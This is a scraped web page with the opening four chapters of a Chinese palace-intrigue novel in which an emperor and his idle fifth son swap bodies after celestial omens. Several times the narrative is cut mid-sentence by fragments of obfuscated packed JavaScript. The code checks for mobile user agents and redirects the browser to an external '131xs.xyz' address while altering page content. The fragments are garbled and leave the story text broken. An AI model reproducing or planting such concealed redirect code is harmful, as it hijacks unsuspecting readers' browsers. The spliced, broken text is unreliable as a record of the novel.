《皇帝跟儿子互换身体后》 1. 第 1 章 第一章竟敢对朕下手 永昌十四年,岁在甲子。 是日,午后未时三刻,天狗吞日。申时二刻,天象如常。 朝堂上下一片惶恐,满朝官员眼神忐忑地望着皇帝。有心请皇帝下罪己诏,又没人敢开这个口。 皇帝阴沉着脸,眼神不善地扫过站在朝堂上的七位皇子。抢在大臣开口之前,重重训斥了这七位皇子。斥责七位皇子德行有失,才会引来天狗吞日。 纵然心中不满,七位皇子只能承受皇帝的怒火。 皇帝在朝堂上将七位皇子怒斥了一个时辰,把他们赶去天水寺抄经念佛。 是夜,皇帝怒批奏折,子时过后方才就寝。 丑时一刻,七星连珠。 钦天监官员夜观天象,被七星连珠的天象惊得目瞪口呆! 白日天狗吞日,夜里七星连珠,此乃社稷动荡的警示! 监正惶恐不安,与一众下属紧急开会,商讨如何将此天象上报给皇帝。 此时的寝宫一片安静,纵然外面值夜班的禁军发现了异象,也无人敢开口上报情况。 掌印太监李正喜坐在龙榻边休息,并不知晓今夜的异象。 天刚破晓,钦天监监正颤颤巍巍地带着钦天监全体官员来到寝宫外面求见皇帝。 李正喜得知情况后,轻手轻脚地回到寝殿内,来到龙榻边,低声叫道:“陛下,钦天监一众官员在殿外求见。” 被扰了清梦,周安之翻了个身,用被褥捂住脸。 见皇帝不醒,李正喜只能拿出小钟,轻轻敲响钟声。 钟声入耳,周安之烦躁地睁开眼睛。正要开口说话,对上李正喜那张脸,周安之顿时懵了! 李正喜这个老太监怎么会在他家里?难不成是父皇派来的?父皇派李正喜过来有何事? 周安之正疑惑呢,就见李正喜弯着腰上前两步,小心翼翼地言道:“陛下,钦天监一众官员在殿外求见。” 周安之猛然起身,转身看向身后。也没瞅见父皇在这里!不对,不是他的床!这、这不是父皇的寝殿吗! 发现周遭的环境不对劲,周安之只觉得脑中一片混乱,根本搞不清楚眼前的情况。 李正喜微微抬头,观察着皇帝的神色,见皇帝面色紧绷,眉头微蹙,一副深思的模样。伺候起来更是小心了,他弯着腰将鞋拿起来,跪在龙榻边,等着皇帝将双脚伸出来。 周安之一脸懵地盯着李正喜的脑袋,眼神疑惑地扫了眼屋内的环境,这的确是他父皇的寝宫啊! 自己不是好好地待在封地过着逍遥日子吗!怎么睡了一觉就回到了京城!还躺在了父皇的寝宫里!如此大罪,可不是装傻发癫就能躲过的!父皇那个老登还不得将他扒一层皮! 作为一个胎穿过来的人,周安之从小靠着装傻发癫摆烂,好不容易混到成年,闹着求皇帝封他为王,拍拍屁.股溜出了京城。刚过上两年自由逍遥的日子,谁料又被整回了京城,这怎能让他不惊恐! 周安之快速掀开被褥,双脚踩在金砖上,想要逃离这个地方。 急匆匆地跑出内室,路过全身镜的时候,他猛然停下脚步,不敢置信地盯着镜子里的人!这不是他那个老登父皇吗! 摸着自己的脸,扯了扯脸皮,周安之惊呆了。这是啥情况! 李正喜还等着伺候皇帝穿鞋呢!见皇帝如此急切地跑出去,连忙起身往外追。看到皇帝站在铜镜前摸着自己的脸皮,表情惊恐不安。 皇帝的异样,让李正喜忐忑起来,有预感下一秒自己要面对皇帝的盛怒! 发现李正喜过来了,周安之顾不得震惊,激动地冲李正喜言道:“出去!” 李正喜甚至连头也不敢抬,弯着腰以最快速度退到外面。 周安之望着门外那一排禁军的身影,心里惶恐不安。 转头发现镜子里的中年男人此时面色阴沉,浓眉紧皱,眼神里带着一股狠厉。周安之不信邪,张开嘴。 铜镜里的人也张开了嘴。 周安之惊愕地低头看向双手,纵然养尊处优,可岁数摆在这里。这双大手上多少有些褶皱,左手还有茧子。 周安之试着握拳,手背上立马暴起青筋,这股力量仿佛可以徒手捏断一个人的脖子。 左手握着右手,周安之试着掐了一把虎口的位置。 是疼的! 周安之再次抬头与铜镜里的人对视,神情惊恐。 不是,他真的变成了父皇? 怎么会这样!到底是谁把他整成这样! 自己变成了皇帝,那他那位父皇去哪了? 是驾崩了?还是说跟他的身子互换了? 周安之看着镜中的中年男人脸色变幻莫测,仿佛父皇老登就站在自己面前一样,这种感觉突然让他有些犯恶心。干脆回到内室,继续躺下。 盯着上方的罗帐顶,周安之满脸愁容。也不知道他的秦王府那边是什么情况。 沧州的秦王府内,几个老头正在院子里坐着闲聊。一会儿聊前院的菜,一会儿谈后院的果,然后又聊到田里的庄稼。 估摸着时辰,老吴提醒道:“快正午了,秦王殿下要起了吧?” “应该要起了!”老王起身忙活起来。 几个老头,该去接水的接水,该准备膳食的去准备膳食,各自忙活起来。 天狗吞日,作为皇帝,周瑜然情绪十分暴躁。本以为这一觉自己会睡得不安稳,谁知却睡得特别好。他已经很多年没有睡过这样的安心觉了。 听到开门的动静,他没有睁开眼。往日里,哪怕已经睡醒,周瑜然也不会立马睁开眼。而是等着李正喜开口叫他,周瑜然才会睁眼醒来。这是他多年来试探人的习惯。 今日的脚步声有些不对劲,沉重而缓慢。不像李正喜那厮的动静!这让周瑜然瞬间警惕起来,伸手往枕头底下摸去。 这一摸,却没有摸到匕首! 周瑜然瞬间不淡定了! 常年藏在枕头下面的匕首竟然不见了!看来刺客早有准备! 沉重的脚步声,缓缓靠近床榻。 连脚步声都藏不住,周瑜然猜测这个刺客绝对体重不轻!暗自估摸着对方与他之间还有多少距离。准备随时动手! “殿下醒了吗?”这是一道沙哑的老者声音。 周瑜然觉得不对劲,倏地睁开眼睛快速跳起来。 这一跳,谁料却撞到了墙上! “殿下这是怎地了?没事吧?”老吴被秦王的反应吓到了,急忙上前搀扶对方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078911|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周瑜然顾不得额头的疼痛,眼看有人靠近他,骤然抬起脚狠狠踹向对方。 老吴被秦王一脚踹倒在地,老骨头都要散架了,疼得嗷嗷叫。 “哎哟喂!我的腰啊!” 周瑜然冷眼盯着刺客,发现对方是个头发花白的老头,下意识皱起眉头。视线一扫周遭,发现环境陌生,他心里震怒:难道刺客昨夜将他从宫中掳走了? 老王等人听到动静,小跑着进屋。 看到这一幕,几个老头一脸惊讶。 老王放下水盆,将老吴搀扶起来,询问道:“老吴啊,你怎么摔了?” “莫要碰我!我的腰动不了了!不是我自己摔的,是殿下把我踹倒的!”老吴摆手,阻止对方触碰自己,面色痛苦地望着秦王。 周瑜然冷眼扫过这几个老头,收拾这几个老头对他而言绰绰有余。 但是他却没有立马动手,心里猜疑外面一定还有其他高手!若非如此,刺客怎敢放心安排几个老头进来看他! 老王等人愣住了,面色疑惑地看着秦王,不解地问道:“殿下为何要伤老吴?” 周瑜然终于发现了这几个老头喊他的称呼不对劲!冷着脸怒斥道:“放肆!尔等老贼,竟敢对朕下手!” 老吴顾不得疼痛,表情惊愕地看着秦王。 老王等人也惊呆了。 老吴忍着疼痛说道:“殿、殿下怕不是还在以为自己在梦中?” “殿下一定是还没有从梦里醒来!”老王等人纷纷点头,认同老吴的猜测。 见这几个老头还敢继续对他不敬,皇帝也不跟他们废话,直接动手揍他们。 “哎哟!我的眼睛!” “殿下!不要啊!” “快跑!” 一时之间,几个老头被秦王的举动吓得惊慌失措,就连倒在地上的老吴都顾不得腰疼了,动作利索地爬起来往外跑。 周瑜然将这几个老头打出去后,冲门口放话:“让奸贼来见朕!” 他面色冷酷地转过身,对上铜镜之时,看到镜中出现秦王的面容,周瑜然瞬间扭头看向身后。 身后空无一人,只有一道墙! 周瑜然厉声怒斥:“老五!你个混账!胆敢派人掳朕!给朕滚出来!” 从小到大,老五这个混账一点也不上进!就是个不成器的废物!没成想这小子藏得最深!周瑜然后悔,前两年就不该放这混账出京就藩!以致于让这个混账在外面起了野心!为了皇位,不惜将他这个父皇从宫中掳走! 屋里只有一个青年的声音在回荡。 周瑜然终于察觉到了自己的不对劲。愕然地抬起手摸着自己的喉结。 他再次转身面向铜镜,镜中的秦王左手正在摸着喉结。 周瑜然快速把手放下,镜中的秦王动作与他一致! 他不信邪,皱着眉头往前走近几步。镜中的人像不断放大清晰。 周瑜然再次抬起手,摸着自己的脸。 没有摸到胡子,周瑜然心里已经慌了,手指下的皮肤摸起来光滑细腻,更让他惊恐。 镜中的秦王,此时此刻正在触碰脸颊,澄净好看的眼眸里满是惊恐的神色。 周瑜然脸色大变,这是怎么回事! 2. 第 2 章 第二章莫要影响他人 作为一个已经经历过一次胎穿的人,周安之的心理素质还是很强的,很快便接受了当下的变故。 其实变成皇帝,也不是什么坏事!好歹自己现在是大月的一国之君了!上头没人能管自己!以后再也不用惧怕被父皇老登算计了!也不用担心被那些手足欺负了! 唯一不好的就是自己突然换了个中年身躯,父皇老登的身体似乎有点虚,让周安之很是嫌弃。 试想,突然从一个十八岁的少年人,变成一个肾虚的中年人,一下子少了二十几年的大好年华,这谁能忍得了? 整整一日周安之独自待在寝殿里。饿了就吃些点心,渴了就自己倒茶喝。压根不愿意踏出寝殿,也不愿意见其他人。 除了钦天监的一众官员,朝中多数官员都来了!群臣一直跪在寝宫外面求见皇帝! 李正喜好几次从门口探头,小心翼翼地观察殿内的情况。想要进去吧,又不敢进去。毕竟皇帝没有传他进去,贸然进去必然会承受皇帝的怒火。 自昨日发生天狗吞日的景象后,皇帝一直在克制着暴怒的情绪。伺候的时候稍有差池,怕是小命不保。别看李正喜当上了掌印太监,所有宫人都惧怕他,可在皇帝面前他只能算一条狗。这条狗命,随时都可能被夺走。 天色渐暗,外面的官员依然跪着不动。 除了钦天监的官员之外,其他都是各皇子党派的官员。 昨日发生天狗吞日后,皇帝盛怒。群臣话还没来得及说呢!皇帝就抢先一步指责七位皇子,将皇子们赶到寺庙里认错,直接堵住了群臣的嘴,让他们压根没机会开口指责皇帝德行有亏,上天才会降下警示。 当夜发生了七星连珠的奇象,让群臣有理由继续指责皇帝。朝堂上的三股皇子势力难得同时一致对准皇帝,逼皇帝写罪己诏。 然而他们跪了一天,皇帝却避而不见!压根不愿意面对他们这些官员! 皇帝躲在寝宫里装聋作哑,群臣只能跪在外面跟他耗着,除此之外别无他法。 皇帝能躲一日两日,还能躲一辈子不成?反正皇帝总归是要出来面对他们的!只要皇帝踏出寝宫大门,他们必然要逼着皇帝写下罪己诏,向上天请罪! 天黑之后,山间虫鸣与兽声组成了夜色里特有的自然曲子,天水寺的山道上出现了几波人。 当今皇帝膝下共有十四位皇子,其中已成年的共有九位皇子。九位皇子都已经封王,除了五皇子秦王已经离京就藩,其他八位皇子都留在京城里。 因皇后没有生下皇子,皇帝尚未立太子,东宫无主。朝中皇子分成三股势力,争夺东宫之位。 四皇子静王与七皇子燕王以大皇子梁王为首。六皇子齐王与八皇子韩王以二皇子鲁王为首。相比之下,三皇子赵王身边只有九皇子魏王一个帮手,势力稍逊于上头的两位哥哥。 大哥二哥身边都各自有两个小弟帮忙。而赵王身边只有一个老九这一个弟弟帮忙。他在朝堂上被踩得最厉害的。 赵王不是没有想过邀请五弟帮助自己。奈何秦王这个废物一天到晚就惦记着吃喝玩乐!秦王还有个混不吝啬极其惹人厌的缺点,爱借钱!从小到大但凡是碰到个人,无论对方是谁,秦王都会舔着脸开口问借钱! 自昨天被赶到天水寺后,七位皇子被关在同一间屋里抄经。 赵王庆幸六皇子齐王离京办差了!老二鲁王那边的小团体现在少了个人。要不然八个兄弟同关在一间屋里,他跟老九这个小团体肯定会成为另外两个小团体欺负的对象! 抄经抄得心烦意乱,赵王故意提起秦王:“唉!还是老五逍遥自在啊!远离朝堂,不被祸及。” 听到赵王提起秦王,梁王与鲁王等人连眼皮都没有抬一下。 对于秦王那个奇葩他们压根不在意,从来没有正眼瞧过秦王。也就只有赵王势弱,想要拉拢秦王那个废物。拉拢不成,倒是结怨了。 “五哥那个性子,哪怕此刻也在这里,断然不会老实抄经!” 其他人不搭理赵王,作为赵王的忠实帮手,九皇子魏王当然得接赵王的话,不能让赵王尴尬。 从小到大,皇子当中就属老五最是偷奸耍滑!书不背,功课不做,天天想着吃喝玩乐。没吃的就去别人那里蹭吃蹭喝,这德性也是没谁了!宫里人都嘲笑五皇子没人教,才会变成这般野性子。 其实论出身,五皇子的出身比其他皇子要高贵。当年皇后生完永宁公主后,落下了病根,无力处理后宫事务。丽妃晋升皇贵妃,掌管里六宫事宜。可惜丽贵妃在生下五皇子后薨逝。 听说皇后曾经有心要收养五皇子,却被皇帝拒绝。而后,后宫妃嫔无人敢收养五皇子。五皇子在宫中就成了没娘的野孩子。 宫中还有传言说五皇子命里带煞,克死了生母。各宫娘娘自小教育自己的孩子,让各位皇子公子远离五皇子这个煞星。 赵王跟魏王肆无忌惮地拿秦王作为谈资,从秦王出生聊起,围绕着秦王的前半生笑话了半个时辰。 大皇子梁王一直无视耳旁的声音,坐得笔直,专心致志地抄经。他身后的两个小弟,静王跟燕王也在安安静静的抄经。 二皇子鲁王见赵王跟魏王聊个没完没了,面色烦躁地抬头斜视二人一眼,冷声开口言道:“你们二人若是不愿抄经,大可离开。莫要影响他人!” 鲁王这一开口,八皇子韩王也跟着出声说话了,故意阴阳怪气地言道:“三哥常将五哥挂在嘴边,莫不是还惦记着那三千两银子?” 赵王先前为了拉拢秦王,借了三千两银子给对方,结果秦王那厮转头就花完了!又问赵王要了三千两银子!只要钱却不肯给赵王干活。把赵王气得够呛,直接把秦王从赵王府赶出去。 每次一提到秦王,其他皇子必然要拿这件事嘲笑一下赵王。 果然,在韩王说完话后,赵王的脸色瞬间阴沉了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078912|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 作为赵王的小弟,九皇子魏王见韩王故意嘲讽三哥,他不满地出声言道:“三哥这是惦记着手足!哪像某些人,冷血无情!” 韩王立马摆出身份,冲魏王斜眼说道:“老九,你的规矩学到哪去了?这般跟哥哥说话,毫无礼数!” 魏王瞪着韩王,心里气闷。成年皇子里就属他排后面!每回都会被这群王八蛋哥哥们仗着年龄对他进行说教!偏偏他还不能回嘴!要是敢回嘴,无疑是承认了他没有规矩礼数! 赵王给了老九一个安抚的眼神,示意魏王不必争执。 屋内无人再开口说话,只剩下点墨书写的声音。 几波人同时来到天水寺,发现皇子们身处的屋子外面竟然有禁军守着!这让他们如何传递消息进去给皇子们? 临近子时,静王等人疲惫至极,毕竟抄写了一天一夜的经书,身子实在是扛不住了。 “喔喔喔——” 外面倏然传来鸡啼声,引起了屋内屋外的关注。 这大半夜的怎会有鸡叫? 赵王与魏王对视了一眼。赵王忽然捂着肚子装疼起来:“啊!我这腹部忽地好疼!” 魏王立马接戏,一脸关切地搀扶着赵王,朝外面喊道:“来人呐!我三哥出事了!” 梁王与鲁王等人面无表情地看着他们表演。结合刚才的鸡啼声,再看赵王这动静,显然是赵王的人过来传消息了! 梁王瞥了眼身后的两个小弟,静王与燕王对视一眼,立刻开始找理由出去。 鲁王对韩王使了个眼色,韩王当即捂着肚子闹着要出去。 这几位王爷闹出来的动静,吓得寺庙的主持赶紧过来瞧瞧是什么情况。 一番折腾后,这些王爷全都恢复如常,继续回到屋里老实抄经。主持再三询问,确定他们都没事了才离开现场。 天狗吞日与七星连珠都是上天的警示。天狗吞日,乃社稷之乱的预兆。而七星连珠,是盛世太平的预兆。 这两个预兆前后出现,哪怕不用钦天监那群官员解释,所有人都能猜得出是上天对皇帝不满,这是要江山易主啊!这位新的君主就是天选之子,能够开创盛世,安定江山社稷! 梁王、鲁王、赵王都想抓住这两个天象搞事情!意图借此事逼迫皇帝退位,同时成为天选之子,顺利登基! 奈何他们想要上位,必须得先扫清障碍。且不提逼皇帝退位能不能成,三股皇子势力同朝并立相互争斗多年,光是要扫清其他两股皇子势力,就得把朝堂血洗一遍。 纵然夺嫡多年,他们三股势力都有点家底,但是没有十足的把握,他们可不敢贸然出手。 现在皇帝把他们困在天水寺,就是要看他们之间谁先按耐不住。最先跳脚的那一股势力,死得最快! 三股皇子势力背地里商量之后,决定还是按兵不动。先逼皇帝写罪己诏,放他们这些皇子出去再说!只有先获得自由,他们才能方便行动! 3. 第 3 章 第三章主持大局 天狗吞日的异象与七星连珠的奇象,引得满朝议论。偏偏皇帝躲在寝宫不出来,越来越多的官员跪求皇帝出面。 品阶高的官员入宫跪在寝宫外面,品阶低的官员跪在皇宫外面。 最早跪在寝宫外面的那批官员,有不少跪晕了。被送到太医院救治休息。 前朝的混乱,让后宫骚动不安。不少妃嫔来到千岁殿求见皇后。恳求陈皇后出面请出皇帝。 陈皇后膝下没有皇子,只有两位公主。 长乐公主下降定北侯,婚后随夫定居北疆。只有岁暮之时才会带着子女回京。 永宁公主如今刚刚成年,皇帝有意挑选镇西侯世子尚主。 长女已经远嫁武将,皇帝还想让她的小女远嫁武将,陈皇后对皇帝不满,近来心情抑郁,压根不想见到对方。 天狗吞日与七星连珠的天象带来多大的影响,陈皇后自是清楚。皇帝那边必然头疼焦躁。后宫这群妃嫔不敢去见皇帝,推她去承受皇帝的盛怒,这一群歹毒的东西! 皇后身边的大宫女林嬷嬷走出来,面色严肃地告诉众妃嫔:“皇后娘娘近日乏累,已经多日没有踏出宫门。故令贤妃、惠妃、宁妃一同前往万岁殿向陛下请安。” 贤妃、惠妃、宁妃等人顿时脸色不悦。 她们有意推皇后去请皇帝,皇后却转头下令让她们去向皇帝请安!这不是推着她们过去找骂吗!偏偏她们还不得不从! 宁妃是急脾气,冲林嬷嬷言道:“若是皇后娘娘无力打理后宫事宜,臣妾愿意为皇后娘娘分忧!” 陈皇后占着坑不担事,那索性把坑让出来给她们争抢呗! 贤妃跟惠妃等人听到这话,忍不住暗暗一笑。 惠妃比贤妃嘴快,紧跟随宁妃发言:“臣妾也愿意为皇后娘娘分忧!” 见她们如此逼迫皇后,贤妃倒是不好开口了。惠妃与宁妃愿意当出头鸟,那就让她们当呗! 见状,林嬷嬷眼神发沉,面无表情的回应道:“各位娘娘若是惦记着后宫大权,何不请陛下做主?” 这后宫大权,除了当年丽贵妃执掌了三年。在丽贵妃薨逝之后,后宫大权一直被陈皇后捏在手里。只要皇帝不发话,其他妃嫔就无法从陈皇后手里抠出一点打理后宫的权力! 林嬷嬷这般有底气的回应,让惠妃与宁妃的脸色难堪起来。 言下之意,不就是让她们自己去跟皇帝要权力吗! 她们又不是没有在皇帝面前暗示过陈皇后体弱没精力打理后宫,她们愿意为中宫分忧,可皇帝压根不接这茬! 惠妃转头瞪了眼宁妃,早知道不跟这个蠢货一起开口了! 余光瞥见贤妃正在用似笑非笑地眼神看着她们。惠妃心里更是恼怒。 林嬷嬷怼完她们,直接转身进去。 宁妃冲林嬷嬷的背影低声骂道:“贱婢!” 贤妃微蹙秀眉,觉得宁妃粗鄙,懒得理会对方。开口问惠妃:“皇后娘娘让姐妹们去向陛下请安。各位姐妹意下如何?” 惠妃阴阳怪气地回应道:“贤妃姐姐以为妹妹们该意下如何?” 陈皇后令她们去向皇帝请安。若是她们不去,就是违抗皇后命令,同时也是对皇帝不敬!贤妃自己不想去,却不发表自己的态度,而是等着她们表态!这贱人! 贤妃没有作答,反正现在着急的又不是她一个人。七位皇子被拘在天水寺那边,朝堂跟后宫全都在着急! 宁妃见这两人现在还在斗嘴,翻了个白眼直接问道:“你们去不去!” 贤妃跟惠妃没有回话,她们身后的妃嫔们更不敢出声。 宁妃气得直瞪眼,索性言道:“那就在这里杵到天荒地老吧!” 贤妃终于动了动衣袖。 惠妃也装模作样的摸了摸头饰。 在贤妃迈开脚步后,惠妃才抬脚走出一步。宁妃赶紧跟上这两人。其余妃嫔默默地跟随在这三位后面。 林嬷嬷虽然进去了,但是却没有立马回禀皇后。等到那群妃嫔都离开了千秋殿,她才回到陈皇后身边禀明情况。 听完之后,陈皇后冷笑一声。 在她生下永宁公主后身子就落下了病根,无法继续生育。丽贵妃薨逝后,陈皇后曾以收养五皇子来试探过皇帝。 但是皇帝以她身子虚弱为由,驳回了陈皇合的请求。皇帝话里甚至有威胁之意。若是陈皇后要收养皇子,这后宫大权便分给其他妃嫔代为打理! 也是那个时候陈皇后才看清楚皇帝的阴毒与虚伪! 一旦发现了枕边人的恶毒,陈皇后不禁多想自己当年生产落下病根是否为皇帝的算计。皇帝根本不想让她生出嫡子! 除此之外,陈皇合还怀疑丽贵妃生下五皇子后薨逝,这一桩事情也是皇帝的算计! 毕竟丽贵妃出身霍家!镇西侯领十万霍家军镇守西疆,丽贵妃在后宫位同副后,又生下了皇子,这太子之位多半会落到五皇子头上! 这些年,后宫与朝堂的争斗,让陈皇后越发笃定这一切都是皇帝在推波助澜! 大皇子梁王乃贤妃所出,二皇子鲁王是惠妃所出,三皇子赵王为宁妃所出。 随着这些皇子长大,朝中夺嫡之争越发激烈,这三妃在后宫里也是剑拔弩张。 朝中三股皇子势力并立相争,后宫三妃并立相斗。达成了前所未有的制衡,这不是皇帝的手笔还会是何人的手笔? 从始至终,皇帝根本不想立太子! 这三妃曾多次讨好陈皇后,妄图得到陈皇后的助力。 可陈皇后早已看穿皇帝的阴险狠毒,深知她一旦插手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078913|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子夺嫡,皇帝必然容不下她。索性这些年来一直在装糊涂。 平日里陈皇后以身子不适免了各宫请安,减少与那三妃碰面。自己已经避而不争多年,可这群人却不放过她。 眼下气氛紧张,纵然陈皇后想要装聋作哑,可所有人都来逼她! 陈皇后已经预料到了接下来要面对什么事,特地吩咐林嬷嬷做好准备。 贤妃等人来到万岁殿外面,看到这一片跪得歪七扭八的官员。她们心里紧张不安,望着寝宫的大门,她们根本不敢过去! 惠妃与宁妃发现贤妃停下脚步后,两人也立马止步。贤妃不动,她们可不敢出头! 宁妃看不出贤妃的喜怒,控制不住烦躁的情绪,出声问道:“寝宫就在眼前,贤妃姐姐为何停下?” 贤妃扫了眼那一片官员,低声言道:“陛下三日未踏出寝宫,朝中官员无人敢闯入寝殿。皇后娘娘理应主持大局。” 先前贤妃撺掇她们一同去千秋殿的时候用的就是这套话!现在到了这里,贤妃再一次提起这话,真是吃饱撑的! 宁妃心里着急,火气不小,正要怼一怼贤妃。就听身旁传来惠妃的声音。 惠妃领会贤妃的意思,告诉宁妃:“若是大臣们出面请皇后娘娘,皇后娘娘还能拒绝?” 宁妃:…… 每次搞事情的时候,她恨不得多长一个脑袋!终究是狠毒不过贤妃跟惠妃!跟这两个贱人相比,自己真是太善良太清纯太天真了! 大臣们见到一群娘娘出现,试图从那群花枝招展的人里找到皇后的身影。奈何来回扫视了好几遍,就是没找到他们期待的那个人! 皇帝已经三日没有踏出寝宫,现在满朝上下一片惶恐。后宫里的妃嫔们也是忐忑不安!也不知道陈皇后为何能如此淡定!至今还不肯过来劝谏皇帝! 贤妃等人带领着朝中有威望的大臣来到千岁殿门外,再次求见皇后,请陈皇后到万岁殿请出皇帝。 谁料,他们前脚刚到千岁殿,后脚林嬷嬷就慌慌张张的领着一众御医挤开人群进入千岁殿!嘴里还大声嚷嚷着:“早晨皇后娘娘还好好的!各宫娘娘们来了之后,皇后娘娘就晕了过去!” 闻言,贤妃等人气得脸色发黑,不少人暗暗扯着手绢。 如此场景,倒是让诸位大臣不知如何是好了!他们本想逼着皇后过去劝谏皇帝踏出寝宫,写下罪己诏,放七位皇子出来。可现在陈皇后晕过去了!没有个能做主的人,这该怎么办呐! 天降警示,皇帝避而不见。七位皇子被拘在天水寺,皇后又晕了过去。这一桩桩事情,引得人心浮动。 贤妃跟惠妃美眸同时转动,恰好对视了一眼,彼此瞬间换了个戒备的眼神盯着对方。 原本心急的宁妃,发现她们眼神不对劲,登时警惕起来。 4. 第 4 章 第四章可还老实 李正喜见外面人心浮动,尤其是后宫那边动静不小,实在是担忧发生政变。 顶着项上人头,他大胆地进殿喊人:“陛下……皇后娘娘那边出事了!” 周安之在寝殿里躺了三天,今天把剩下的最后几块点心吃完了。哪怕李正喜不进来,晚些时候他也是要叫人送饭进来的。 发现异样的第一天,他不知道这个异样是一时的还是稳定的,暂且按兵不动,什么都不做。 接连几日,依然没有发生新的变化。周安之只能再一次认命了。 目前的情况就是,他真的变成了父皇!从一个美少年变成了一个老阴登! 听到李正喜的声音,周安之无声叹气,招呼人进来:“过来。” 闻言,李正喜胆战心惊地走进内室。看到皇帝躺在龙榻上,小心翼翼地开口叫道:“陛下三日未用膳,可要传膳?” 他刚才路过书案的时候,可眼尖瞧见了那几盘糕点都没了。看来皇帝这几天就是靠吃糕点硬抗在屋里的! 周安之抬起一只手,出声道:“给朕上清淡的菜肴。” 李正喜连忙点头:“老奴这便传膳!” 他转头冲外面尖声喊起来:“陛下用膳!以清淡菜肴为主!” 接着,李正喜跪在床榻边,捧着鞋子伺候皇帝穿鞋。 周安之漫不经心地问道:“你方才说什么?” 李正喜一边给皇帝穿鞋,一边小声汇报情况:“朝中部分大臣与各宫娘娘聚集在千岁殿外面,听闻皇后娘娘已经晕了!” 他可不敢提七星连珠的奇象。也没有提宫里宫外跪着诸多官员要逼皇帝写罪己诏。反正皇帝踏出万岁殿后,自会知晓这些事情。 周安之诧异,自己不过是三天没出门,这一大群人就开始搞事情了! 现在他可算是有点理解父皇老登为什么总是阴着脸猜忌所有人了! 瞧瞧,人还没驾崩呢!朝中大臣跟后宫妃嫔就急不可耐了!还不是为了那几个皇子争夺皇位!这搁谁心里不膈应啊! 李正喜伺候完皇帝穿鞋,微微抬头偷窥了一眼皇帝,发现对方脸色阴沉。 他心里一紧,伺候得更谨慎了,也不敢再提外面的情况。转移话题,问道:“老奴传人进来伺候陛下梳洗?” 谁知,他这话刚说完,皇帝的眉头皱得更紧了!李正喜心里瞬间惶恐,不知道这句话为何会让皇帝不高兴。 周安之可不想面对镜子里的那张老登脸,叫人倒胃口。直接问起正事:“外面是何情况?” 见皇帝追问情况,李正喜只能低下头,慢吞吞地回答道:“初六当夜,丑时一刻,夜空出现七星连珠天象。近几日陛下休息期间,朝中议论纷纷,不少官员跪求陛下上朝。” 周安之是知道天狗吞日的,但是他不知道当夜还发生了七星连珠的异象!所以他变成这样,多半跟异象脱不开关系! 李正喜说完这番话后,腰弯得很低,已经做好了承受盛怒的准备。可殿内静悄悄的,连皇帝的呼吸声都没有变化。他心里正在犹豫要不要抬头观察皇帝的面色。 在他思索的时候,乍然听到皇帝问:“梁王、鲁王、赵王他们可还老实?” 李正喜赶紧回应道:“七位殿下都在天水寺抄经!” 那日皇帝在朝堂上怒斥了七位皇子后,就把他们赶到天水寺抄经了。此举无疑是在软禁七位皇子。 周安之若有所思地点头。 嗯,这的确是父皇那个老登能干出来的事! 现在七位皇子被软禁,无论后宫跟朝堂闹得多厉害,都不是大问题! 周安之放心了,告诉李正喜:“传贤妃、惠妃、宁妃过来。” 李正喜立马颔首:“老奴遵旨!” 他转头冲外面喊叫起来:“陛下传贤妃、惠妃、宁妃见驾!” 贤妃等人此时还堵在千岁殿门外。 纵然陈皇后不愿意掺和这件事,她们也要逼对方出面请皇帝! 陈皇后以为装晕就能躲得了吗? 贤妃跟惠妃与宁妃难得默契的算计同一个人,三人打算用永宁公主来威逼陈皇后! 未料,还没等她们请来永宁公主,皇帝居然派人过来点名要见她们三人! 这可让贤妃、惠妃、宁妃心中忐忑起来。 三人相互看着彼此,眼中的惶恐根本遮掩不住。 皇帝不愿意出来面对群臣,却把她们三个叫进万岁殿里,必然免不了将她们骂一顿。 来到万岁殿门口,贤妃停下脚步。 可惠妃却早有预料,直接伸手推了一把贤妃。逼着贤妃往里走。 贤妃气得转头瞪了眼惠妃。 宁妃倒是想笑,可是一想到待会儿要面对皇帝那张阴沉的脸,顿时就没心情笑了。 三人颤颤巍巍地低着头走进万岁殿。听到左少监万秉德叫住她们:“请三位娘娘在此等候。” 她们只能停下脚步,老老实实地站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 